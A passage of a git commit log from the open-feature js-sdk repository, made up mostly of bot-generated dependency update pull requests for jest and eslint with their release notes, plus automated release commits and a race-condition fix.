[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.2.4/29.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.2.4/29.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest](https://jestjs.io/)
([source](https://togithub.com/facebook/jest)) | [`29.4.3` ->
`29.6.1`](https://renovatebot.com/diffs/npm/jest/29.4.3/29.6.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-config](https://togithub.com/facebook/jest) | [`29.4.3` ->
`29.6.1`](https://renovatebot.com/diffs/npm/jest-config/29.4.3/29.6.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-config/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-config/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-config/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-config/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-jsdom](https://togithub.com/facebook/jest) |
[`29.4.3` ->
`29.6.1`](https://renovatebot.com/diffs/npm/jest-environment-jsdom/29.4.3/29.6.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-jsdom/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-jsdom/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-jsdom/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-jsdom/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-node](https://togithub.com/facebook/jest) |
[`29.4.3` ->
`29.6.1`](https://renovatebot.com/diffs/npm/jest-environment-node/29.4.3/29.6.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-node/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-node/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-node/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-node/29.4.3/29.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>facebook/jest (jest)</summary>

###
[`v29.6.1`](https://togithub.com/facebook/jest/blob/HEAD/CHANGELOG.md#2961)

[Compare
Source](https://togithub.com/facebook/jest/compare/v29.6.0...v29.6.1)

##### Fixes

- `[jest-circus]` Revert
[#&#8203;14110](https://togithub.com/jestjs/jest/pull/14110) as it was a
breaking change
([#&#8203;14304](https://togithub.com/jestjs/jest/pull/14304))

###
[`v29.6.0`](https://togithub.com/facebook/jest/blob/HEAD/CHANGELOG.md#2960)

[Compare
Source](https://togithub.com/facebook/jest/compare/v29.5.0...v29.6.0)

##### Features

- `[jest-circus, jest-snapshot]` Add support for snapshot matchers in
concurrent tests
([#&#8203;14139](https://togithub.com/jestjs/jest/pull/14139))
- `[jest-cli]` Include type definitions to generated config files
([#&#8203;14078](https://togithub.com/facebook/jest/pull/14078))
- `[jest-snapshot]` Support arrays as property matchers
([#&#8203;14025](https://togithub.com/facebook/jest/pull/14025))
- `[jest-core, jest-circus, jest-reporter, jest-runner]` Added support
for reporting about start individual test cases using jest-circus
([#&#8203;14174](https://togithub.com/jestjs/jest/pull/14174))

##### Fixes

- `[jest-circus]` Prevent false test failures caused by promise
rejections handled asynchronously
([#&#8203;14110](https://togithub.com/jestjs/jest/pull/14110))
- `[jest-config]` Handle frozen config object
([#&#8203;14054](https://togithub.com/facebook/jest/pull/14054))
- `[jest-config]` Allow `coverageDirectory` and `collectCoverageFrom` in
project config
([#&#8203;14180](https://togithub.com/jestjs/jest/pull/14180))
- `[jest-core]` Always use workers in watch mode to avoid crashes
([#&#8203;14059](https://togithub.com/facebook/jest/pull/14059)).
- `[jest-environment-jsdom, jest-environment-node]` Fix assignment of
`customExportConditions` via `testEnvironmentOptions` when custom env
subclass defines a default value
([#&#8203;13989](https://togithub.com/facebook/jest/pull/13989))
- `[jest-matcher-utils]` Fix copying value of inherited getters
([#&#8203;14007](https://togithub.com/facebook/jest/pull/14007))
- `[jest-mock]` Tweak typings to allow `jest.replaceProperty()` replace
methods ([#&#8203;14008](https://togithub.com/facebook/jest/pull/14008))
- `[jest-mock]` Improve user input validation and error messages of
`spyOn` and `replaceProperty` methods
([#&#8203;14087](https://togithub.com/facebook/jest/pull/14087))
- `[jest-runtime]` Bind `jest.isolateModulesAsync` to `this`
([#&#8203;14083](https://togithub.com/facebook/jest/pull/14083))
- `[jest-runtime]` Forward `wrapperLength` to the `Script` constructor
as `columnOffset` for accurate debugging
([#&#8203;14148](https://togithub.com/facebook/jest/pull/14148))
- `[jest-runtime]` Guard `_isMockFunction` access with `in`
([#&#8203;14188](https://togithub.com/facebook/jest/pull/14188))
- `[jest-snapshot]` Fix a potential bug when not using prettier and
improve performance
([#&#8203;14036](https://togithub.com/facebook/jest/pull/14036))
- `[@jest/transform]` Do not instrument `.json` modules
([#&#8203;14048](https://togithub.com/facebook/jest/pull/14048))
- `[jest-worker]` Restart a shut down worker before sending it a task
([#&#8203;14015](https://togithub.com/facebook/jest/pull/14015))

##### Chore & Maintenance

- `[*]` Update `semver` dependency to get vulnerability fix
([#&#8203;14262](https://togithub.com/jestjs/jest/pull/14262))
- `[docs]` Updated documentation for the `--runTestsByPath` CLI command
([#&#8203;14004](https://togithub.com/facebook/jest/pull/14004))
- `[docs]` Updated documentation regarding the synchronous fallback when
asynchronous code transforms are unavailable
([#&#8203;14056](https://togithub.com/facebook/jest/pull/14056))
- `[docs]` Update jest statistics of use and downloads in website Index.

###
[`v29.5.0`](https://togithub.com/facebook/jest/blob/HEAD/CHANGELOG.md#2950)

[Compare
Source](https://togithub.com/facebook/jest/compare/v29.4.3...v29.5.0)

##### Features

- `[jest-changed-files]` Support Sapling
([#&#8203;13941](https://togithub.com/facebook/jest/pull/13941))
- `[jest-circus, @&#8203;jest/cli, jest-config]` Add feature to
randomize order of tests via CLI flag or through the config
file([#&#8203;12922](https://togithub.com/facebook/jest/pull/12922))
- `[jest-cli, jest-config, @&#8203;jest/core, jest-haste-map,
@&#8203;jest/reporters, jest-runner, jest-runtime, @&#8203;jest/types]`
Add `workerThreads` configuration option to allow using [worker
threads](https://nodejs.org/dist/latest/docs/api/worker_threads.html)
for parallelization
([#&#8203;13939](https://togithub.com/facebook/jest/pull/13939))
- `[jest-cli]` Export `yargsOptions`
([#&#8203;13970](https://togithub.com/facebook/jest/pull/13970))
- `[jest-config]` Add `openHandlesTimeout` option to configure possible
open handles warning.
([#&#8203;13875](https://togithub.com/facebook/jest/pull/13875))
- `[@jest/create-cache-key-function]` Allow passing `length` argument to
`createCacheKey()` function and set its default value to `16` on Windows
([#&#8203;13827](https://togithub.com/facebook/jest/pull/13827))
- `[jest-message-util]` Add support for
[AggregateError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError)
([#&#8203;13946](https://togithub.com/facebook/jest/pull/13946) &
[#&#8203;13947](https://togithub.com/facebook/jest/pull/13947))
- `[jest-message-util]` Add support for [Error
causes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause)
in `test` and `it`
([#&#8203;13935](https://togithub.com/facebook/jest/pull/13935) &
[#&#8203;13966](https://togithub.com/facebook/jest/pull/13966))
- `[jest-reporters]` Add `summaryThreshold` option to summary reporter
to allow overriding the internal threshold that is used to print the
summary of all failed tests when the number of test suites surpasses it
([#&#8203;13895](https://togithub.com/facebook/jest/pull/13895))
- `[jest-runtime]` Expose `@sinonjs/fake-timers` async APIs functions
`advanceTimersByTimeAsync(msToRun)` (`tickAsync(msToRun)`),
`advanceTimersToNextTimerAsync(steps)` (`nextAsync`),
`runAllTimersAsync` (`runAllAsync`), and `runOnlyPendingTimersAsync`
(`runToLastAsync`)
([#&#8203;13981](https://togithub.com/facebook/jest/pull/13981))
- `[jest-runtime, @&#8203;jest/transform]` Allow V8 coverage provider to
collect coverage from files which were not loaded explicitly
([#&#8203;13974](https://togithub.com/facebook/jest/pull/13974))
- `[jest-snapshot]` Add support to `cts` and `mts` TypeScript files to
inline snapshots
([#&#8203;13975](https://togithub.com/facebook/jest/pull/13975))
- `[jest-worker]` Add `start` method to worker farms
([#&#8203;13937](https://togithub.com/facebook/jest/pull/13937))
- `[jest-worker]` Support passing a URL as path to worker
([#&#8203;13982](https://togithub.com/facebook/jest/pull/13982))

##### Fixes

- `[babel-plugin-jest-hoist]` Fix unwanted hoisting of nested `jest`
usages ([#&#8203;13952](https://togithub.com/facebook/jest/pull/13952))
- `[jest-circus]` Send test case results for `todo` tests
([#&#8203;13915](https://togithub.com/facebook/jest/pull/13915))
- `[jest-circus]` Update message printed on test timeout
([#&#8203;13830](https://togithub.com/facebook/jest/pull/13830))
- `[jest-circus]` Avoid creating the word "testfalse" when
`takesDoneCallback` is `false` in the message printed on test timeout
AND updated timeouts test
([#&#8203;13954](https://togithub.com/facebook/jest/pull/13954))
- `[jest-environment-jsdom]` Stop setting `document` to `null` on
teardown
([#&#8203;13972](https://togithub.com/facebook/jest/pull/13972))
- `[@jest/expect-utils]` Update `toStrictEqual()` to be able to check
`jest.fn().mock.calls`
([#&#8203;13960](https://togithub.com/facebook/jest/pull/13960))
- `[@jest/test-result]` Allow `TestResultsProcessor` type to return a
Promise ([#&#8203;13950](https://togithub.com/facebook/jest/pull/13950))

##### Chore & Maintenance

- `[jest-snapshot]` Remove dependency on `jest-haste-map`
([#&#8203;13977](https://togithub.com/facebook/jest/pull/13977))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config help](https://togithub.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuMTEuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-24 13:35:47 -04:00
github-actions[bot] fcec206a54
chore(main): release js-sdk 1.4.0 (#495)
🤖 I have created a release *beep* *boop*
---


##
[1.4.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.3.3...js-sdk-v1.4.0)
(2023-07-22)


### Features

* typesafe event emitter
([#490](https://github.com/open-feature/js-sdk/issues/490))
([92e3a72](92e3a724bf))


### Bug Fixes

* race adding handler during init
([#501](https://github.com/open-feature/js-sdk/issues/501))
([0be9c5d](0be9c5dcd9))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-24 10:47:22 -04:00
github-actions[bot] a21f0044f7
chore(main): release shared 0.0.8 (#496)
🤖 I have created a release *beep* *boop*
---


##
[0.0.8](https://github.com/open-feature/js-sdk/compare/shared-v0.0.7...shared-v0.0.8)
(2023-07-22)


### Features

* typesafe event emitter
([#490](https://github.com/open-feature/js-sdk/issues/490))
([92e3a72](92e3a724bf))


### Bug Fixes

* race adding handler during init
([#501](https://github.com/open-feature/js-sdk/issues/501))
([0be9c5d](0be9c5dcd9))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-22 11:00:48 -04:00
Todd Baert 0be9c5dcd9
fix: race adding handler during init (#501)
Fixes a race condition that prevents handlers added while their provider
is initializing from running.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-22 10:57:43 -04:00
renovate[bot] 98265e5184
chore(deps): update dependency eslint to v8.45.0 (#459)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.29.0` ->
`8.45.0`](https://renovatebot.com/diffs/npm/eslint/8.29.0/8.45.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.29.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.29.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.45.0`](https://togithub.com/eslint/eslint/releases/tag/v8.45.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.44.0...v8.45.0)

#### Features

-
[`cdd063c`](cdd063c388)
feat: Expose LegacyESLint in unsupported API
([#&#8203;17341](https://togithub.com/eslint/eslint/issues/17341))
(Nicholas C. Zakas)
-
[`d34abe5`](d34abe59eb)
feat: fix indent rule for else-if
([#&#8203;17318](https://togithub.com/eslint/eslint/issues/17318))
(Milos Djermanovic)

#### Bug Fixes

-
[`b79b6fb`](b79b6fb644)
fix: Fix suggestion message in `no-useless-escape`
([#&#8203;17339](https://togithub.com/eslint/eslint/issues/17339))
(Francesco Trotta)
-
[`c667055`](c667055fb9)
fix: provide unique `fix` and `fix.range` objects in lint messages
([#&#8203;17332](https://togithub.com/eslint/eslint/issues/17332))
(Milos Djermanovic)

#### Documentation

-
[`89f3225`](89f3225108)
docs: add playground links to correct and incorrect code blocks
([#&#8203;17306](https://togithub.com/eslint/eslint/issues/17306)) (Josh
Goldberg )
-
[`f8892b5`](f8892b5292)
docs: Expand rule option schema docs
([#&#8203;17198](https://togithub.com/eslint/eslint/issues/17198)) (Matt
Wilkinson)
-
[`8bcbf11`](8bcbf11b60)
docs: Config Migration Guide
([#&#8203;17230](https://togithub.com/eslint/eslint/issues/17230)) (Ben
Perlmutter)
-
[`bb30908`](bb30908971)
docs: Update README (GitHub Actions Bot)
-
[`84d243b`](84d243b245)
docs: Update README (GitHub Actions Bot)
-
[`b762632`](b762632298)
docs: Update README (GitHub Actions Bot)
-
[`138c096`](138c096bc9)
docs: add more prefer-destructuring examples with array destructuring
([#&#8203;17330](https://togithub.com/eslint/eslint/issues/17330))
(Milos Djermanovic)
-
[`1fc50a8`](1fc50a8975)
docs: `max-len` rule `code` and `tabWidth` as positional arguments
([#&#8203;17331](https://togithub.com/eslint/eslint/issues/17331))
(Jesús Leganés-Combarro)

#### Chores

-
[`68f63d7`](68f63d76ce)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`5ca9b4d`](5ca9b4d29f)
chore: update eslint-config-eslint exports
([#&#8203;17336](https://togithub.com/eslint/eslint/issues/17336))
(Milos Djermanovic)
-
[`7bf2e86`](7bf2e86022)
chore: remove unused dependencies
([#&#8203;17352](https://togithub.com/eslint/eslint/issues/17352))
(Percy Ma)
-
[`c6f8cd0`](c6f8cd0d62)
chore: Remove `defaultIgnores` from FlatESLint private members
([#&#8203;17349](https://togithub.com/eslint/eslint/issues/17349))
(Francesco Trotta)
-
[`0052374`](0052374035)
chore: move jsdoc settings to eslint-config-eslint
([#&#8203;17338](https://togithub.com/eslint/eslint/issues/17338)) (唯然)

### [`v8.44.0`](https://togithub.com/eslint/eslint/releases/tag/v8.44.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.43.0...v8.44.0)

#### Features

-
[`1766771`](176677180a)
feat: add `es2023` and `es2024` environments
([#&#8203;17328](https://togithub.com/eslint/eslint/issues/17328))
(Milos Djermanovic)
-
[`4c50400`](4c50400226)
feat: add `ecmaVersion: 2024`, regexp `v` flag parsing
([#&#8203;17324](https://togithub.com/eslint/eslint/issues/17324))
(Milos Djermanovic)
-
[`4d411e4`](4d411e4c70)
feat: add ternaryOperandBinaryExpressions option to no-extra-parens rule
([#&#8203;17270](https://togithub.com/eslint/eslint/issues/17270))
(Percy Ma)
-
[`c8b1f4d`](c8b1f4d61a)
feat: Move `parserServices` to `SourceCode`
([#&#8203;17311](https://togithub.com/eslint/eslint/issues/17311))
(Milos Djermanovic)
-
[`ef6e24e`](ef6e24e426)
feat: treat unknown nodes as having the lowest precedence
([#&#8203;17302](https://togithub.com/eslint/eslint/issues/17302)) (Brad
Zacher)
-
[`1866e1d`](1866e1df61)
feat: allow flat config files to export a Promise
([#&#8203;17301](https://togithub.com/eslint/eslint/issues/17301))
(Milos Djermanovic)

#### Bug Fixes

-
[`a36bcb6`](a36bcb67f2)
fix: no-unused-vars false positive with logical assignment operators
([#&#8203;17320](https://togithub.com/eslint/eslint/issues/17320))
(Gweesin Chan)
-
[`7620b89`](7620b891e8)
fix: Remove `no-unused-labels` autofix before potential directives
([#&#8203;17314](https://togithub.com/eslint/eslint/issues/17314))
(Francesco Trotta)
-
[`391ed38`](391ed38b09)
fix: Remove `no-extra-semi` autofix before potential directives
([#&#8203;17297](https://togithub.com/eslint/eslint/issues/17297))
(Francesco Trotta)

#### Documentation

-
[`526e911`](526e91106e)
docs: resubmit pr 17115 doc changes
([#&#8203;17291](https://togithub.com/eslint/eslint/issues/17291)) (唯然)
-
[`e1314bf`](e1314bf85a)
docs: Integration section and tutorial
([#&#8203;17132](https://togithub.com/eslint/eslint/issues/17132)) (Ben
Perlmutter)
-
[`19a8c5d`](19a8c5d845)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`49e46ed`](49e46edf3c)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).44.0
([#&#8203;17329](https://togithub.com/eslint/eslint/issues/17329))
(Milos Djermanovic)
-
[`a1cb642`](a1cb6421f9)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`840a264`](840a26462b)
test: More test cases for no-case-declarations
([#&#8203;17315](https://togithub.com/eslint/eslint/issues/17315))
(Elian Cordoba)
-
[`e6e74f9`](e6e74f9eef)
chore: package.json update for eslint-config-eslint release (ESLint
Jenkins)
-
[`eb3d794`](eb3d7946e1)
chore: upgrade semver@7.5.3
([#&#8203;17323](https://togithub.com/eslint/eslint/issues/17323))
(Ziyad El Abid)
-
[`cf88439`](cf884390ad)
chore: upgrade optionator@0.9.3
([#&#8203;17319](https://togithub.com/eslint/eslint/issues/17319))
(Milos Djermanovic)
-
[`9718a97`](9718a9781d)
refactor: remove unnecessary code in `flat-eslint.js`
([#&#8203;17308](https://togithub.com/eslint/eslint/issues/17308))
(Milos Djermanovic)
-
[`f82e56e`](f82e56e9ac)
perf: various performance improvements
([#&#8203;17135](https://togithub.com/eslint/eslint/issues/17135))
(moonlightaria)
-
[`da81e66`](da81e66e22)
chore: update eslint-plugin-jsdoc to 46.2.5
([#&#8203;17245](https://togithub.com/eslint/eslint/issues/17245)) (唯然)
-
[`b991640`](b991640176)
chore: switch eslint-config-eslint to the flat format
([#&#8203;17247](https://togithub.com/eslint/eslint/issues/17247)) (唯然)

### [`v8.43.0`](https://togithub.com/eslint/eslint/releases/tag/v8.43.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.42.0...v8.43.0)

#### Features

-
[`14581ff`](14581ff15a)
feat: directive prologue detection and autofix condition in `quotes`
([#&#8203;17284](https://togithub.com/eslint/eslint/issues/17284))
(Francesco Trotta)
-
[`e50fac3`](e50fac3f8f)
feat: add declaration loc to message in block-scoped-var
([#&#8203;17252](https://togithub.com/eslint/eslint/issues/17252))
(Milos Djermanovic)
-
[`1b7faf0`](1b7faf0702)
feat: add `skipJSXText` option to `no-irregular-whitespace` rule
([#&#8203;17182](https://togithub.com/eslint/eslint/issues/17182)) (Azat
S)

#### Bug Fixes

-
[`5338b56`](5338b56fda)
fix: normalize `cwd` passed to `ESLint`/`FlatESLint` constructor
([#&#8203;17277](https://togithub.com/eslint/eslint/issues/17277))
(Milos Djermanovic)
-
[`54383e6`](54383e69b0)
fix: Remove `no-extra-parens` autofix for potential directives
([#&#8203;17022](https://togithub.com/eslint/eslint/issues/17022))
(Francesco Trotta)

#### Documentation

-
[`8b855ea`](8b855ea058)
docs: resubmit pr17061 doc changes
([#&#8203;17292](https://togithub.com/eslint/eslint/issues/17292)) (唯然)
-
[`372722e`](372722eac3)
docs: resubmit pr17012 doc changes
([#&#8203;17293](https://togithub.com/eslint/eslint/issues/17293)) (唯然)
-
[`67e7af3`](67e7af3fdb)
docs: resubmit custom-rules doc changes
([#&#8203;17294](https://togithub.com/eslint/eslint/issues/17294)) (唯然)
-
[`9e3d77c`](9e3d77cba6)
docs: Resubmit Fix formatting in Custom Rules docs
([#&#8203;17281](https://togithub.com/eslint/eslint/issues/17281))
(Milos Djermanovic)
-
[`503647a`](503647a0b9)
docs: Resubmit markVariableAsUsed docs
([#&#8203;17280](https://togithub.com/eslint/eslint/issues/17280))
(Nicholas C. Zakas)
-
[`e0cf0d8`](e0cf0d86d9)
docs: Custom rule & plugin tutorial
([#&#8203;17024](https://togithub.com/eslint/eslint/issues/17024)) (Ben
Perlmutter)
-
[`8e51ea9`](8e51ea943c)
docs: resubmit `no-new` rule documentation
([#&#8203;17264](https://togithub.com/eslint/eslint/issues/17264))
(Nitin Kumar)
-
[`1b217f8`](1b217f8de1)
docs: resubmit `Custom Processors` documentation
([#&#8203;17265](https://togithub.com/eslint/eslint/issues/17265))
(Nitin Kumar)
-
[`428fc76`](428fc76806)
docs: resubmit `Create Plugins` documentation
([#&#8203;17268](https://togithub.com/eslint/eslint/issues/17268))
(Nitin Kumar)
-
[`bdca88c`](bdca88cf4f)
docs: resubmit `Configuration Files` documentation
([#&#8203;17267](https://togithub.com/eslint/eslint/issues/17267))
(Nitin Kumar)
-
[`f5c01f2`](f5c01f281a)
docs: resubmit `Manage Issues` documentation
([#&#8203;17266](https://togithub.com/eslint/eslint/issues/17266))
(Nitin Kumar)
-
[`b199295`](b199295459)
docs: Resubmit custom rules update docs
([#&#8203;17273](https://togithub.com/eslint/eslint/issues/17273)) (Ben
Perlmutter)
-
[`0e9980c`](0e9980c3a8)
docs: add new `omitLastInOneLineClassBody` option to the `semi` rule
([#&#8203;17263](https://togithub.com/eslint/eslint/issues/17263))
(Nitin Kumar)
-
[`cb2560f`](cb2560f7a3)
docs: Resubmit getScope/getDeclaredVariables docs
([#&#8203;17262](https://togithub.com/eslint/eslint/issues/17262))
(Nicholas C. Zakas)
-
[`85d2b30`](85d2b30bc3)
docs: explain how to include predefined globals
([#&#8203;17261](https://togithub.com/eslint/eslint/issues/17261))
(Marcus Wyatt)
-
[`de4d3c1`](de4d3c14c3)
docs: update flat config default ignore patterns
([#&#8203;17258](https://togithub.com/eslint/eslint/issues/17258))
(Milos Djermanovic)
-
[`3912f3a`](3912f3a225)
docs: Improve `ignores` documentation
([#&#8203;17239](https://togithub.com/eslint/eslint/issues/17239))
(Francesco Trotta)
-
[`35e11d3`](35e11d3248)
docs: fix typos and missing info
([#&#8203;17257](https://togithub.com/eslint/eslint/issues/17257)) (Ed
Lucas)
-
[`0bc257c`](0bc257c290)
docs: Clarify `no-div-regex` rule docs
([#&#8203;17051](https://togithub.com/eslint/eslint/issues/17051))
([#&#8203;17255](https://togithub.com/eslint/eslint/issues/17255))
(Francesco Trotta)
-
[`788d836`](788d83629a)
docs: add references to MIT License
([#&#8203;17248](https://togithub.com/eslint/eslint/issues/17248))
(Milos Djermanovic)
-
[`58aab6b`](58aab6b6c0)
docs: Update README (GitHub Actions Bot)
-
[`3ef5814`](3ef5814055)
docs: Revert all changes after the license change
([#&#8203;17227](https://togithub.com/eslint/eslint/issues/17227))
(Milos Djermanovic)
-
[`03fc4aa`](03fc4aa847)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`78350f6`](78350f6304)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).43.0
([#&#8203;17295](https://togithub.com/eslint/eslint/issues/17295))
(Milos Djermanovic)
-
[`62bf759`](62bf759124)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`e0a2448`](e0a2448e0c)
chore: docs package.license ISC => MIT
([#&#8203;17254](https://togithub.com/eslint/eslint/issues/17254)) (唯然)
-
[`6a0196c`](6a0196c513)
chore: use eslint-plugin-eslint-plugin flat configs
([#&#8203;17204](https://togithub.com/eslint/eslint/issues/17204))
(Milos Djermanovic)

### [`v8.42.0`](https://togithub.com/eslint/eslint/releases/tag/v8.42.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.41.0...v8.42.0)

#### Features

-
[`b8448ff`](b8448ff1ae)
feat: correct no-useless-return behaviour in try statements
([#&#8203;16996](https://togithub.com/eslint/eslint/issues/16996))
(Nitin Kumar)

#### Bug Fixes

-
[`a589636`](a5896360c3)
fix: Config with `ignores` and without `files` should not always apply
([#&#8203;17181](https://togithub.com/eslint/eslint/issues/17181))
(Milos Djermanovic)
-
[`c4fad17`](c4fad173c7)
fix: Correct ignore message for "node_modules" subfolders
([#&#8203;17217](https://togithub.com/eslint/eslint/issues/17217))
(Francesco Trotta)

#### Documentation

-
[`01d7142`](01d7142642)
docs: Update README (GitHub Actions Bot)
-
[`e5182b7`](e5182b723f)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`6ca5b7c`](6ca5b7ca3b)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).42.0
([#&#8203;17236](https://togithub.com/eslint/eslint/issues/17236))
(Milos Djermanovic)
-
[`67fc5e7`](67fc5e730e)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`0892412`](0892412556)
refactor: remove `Identifier` listener in no-irregular-whitespace
([#&#8203;17235](https://togithub.com/eslint/eslint/issues/17235))
(Milos Djermanovic)
-
[`f67d298`](f67d2984c3)
test: Add `FlatESLint` tests with missing config files
([#&#8203;17164](https://togithub.com/eslint/eslint/issues/17164))
(Milos Djermanovic)
-
[`5b68d51`](5b68d51e3e)
chore: Fix `fixedsize` attribute in code path analysis DOT debug output
([#&#8203;17202](https://togithub.com/eslint/eslint/issues/17202))
(Milos Djermanovic)
-
[`37432f2`](37432f27dc)
chore: update descriptions in key-spacing tests
([#&#8203;17195](https://togithub.com/eslint/eslint/issues/17195))
(Milos Djermanovic)

### [`v8.41.0`](https://togithub.com/eslint/eslint/releases/tag/v8.41.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.40.0...v8.41.0)

#### Features

-
[`880a431`](880a4317b9)
feat: change default ignore pattern to `**/node_modules/` in flat config
([#&#8203;17184](https://togithub.com/eslint/eslint/issues/17184))
(Milos Djermanovic)
-
[`8bf5505`](8bf550594f)
feat: expose `shouldUseFlatConfig`
([#&#8203;17169](https://togithub.com/eslint/eslint/issues/17169))
(Connor Prussin)

#### Bug Fixes

-
[`4f5440d`](4f5440db63)
fix: incorrect warning message for ignored dotfiles
([#&#8203;17196](https://togithub.com/eslint/eslint/issues/17196))
(Milos Djermanovic)
-
[`94da96c`](94da96cbf0)
fix: unify `LintMessage` type
([#&#8203;17076](https://togithub.com/eslint/eslint/issues/17076))
(Brandon Mills)
-
[`0c415cd`](0c415cda5d)
fix: validate `ignorePatterns` constructor option in `FlatESLint` class
([#&#8203;17139](https://togithub.com/eslint/eslint/issues/17139))
(Milos Djermanovic)
-
[`9682d66`](9682d669e4)
fix: switch `grapheme-splitter` to `graphemer`
([#&#8203;17160](https://togithub.com/eslint/eslint/issues/17160))
(fisker Cheung)

#### Documentation

-
[`7709b14`](7709b14e18)
docs: Update README (GitHub Actions Bot)
-
[`7f183e0`](7f183e0205)
docs: Update triage process description
([#&#8203;17157](https://togithub.com/eslint/eslint/issues/17157))
(Nicholas C. Zakas)
-
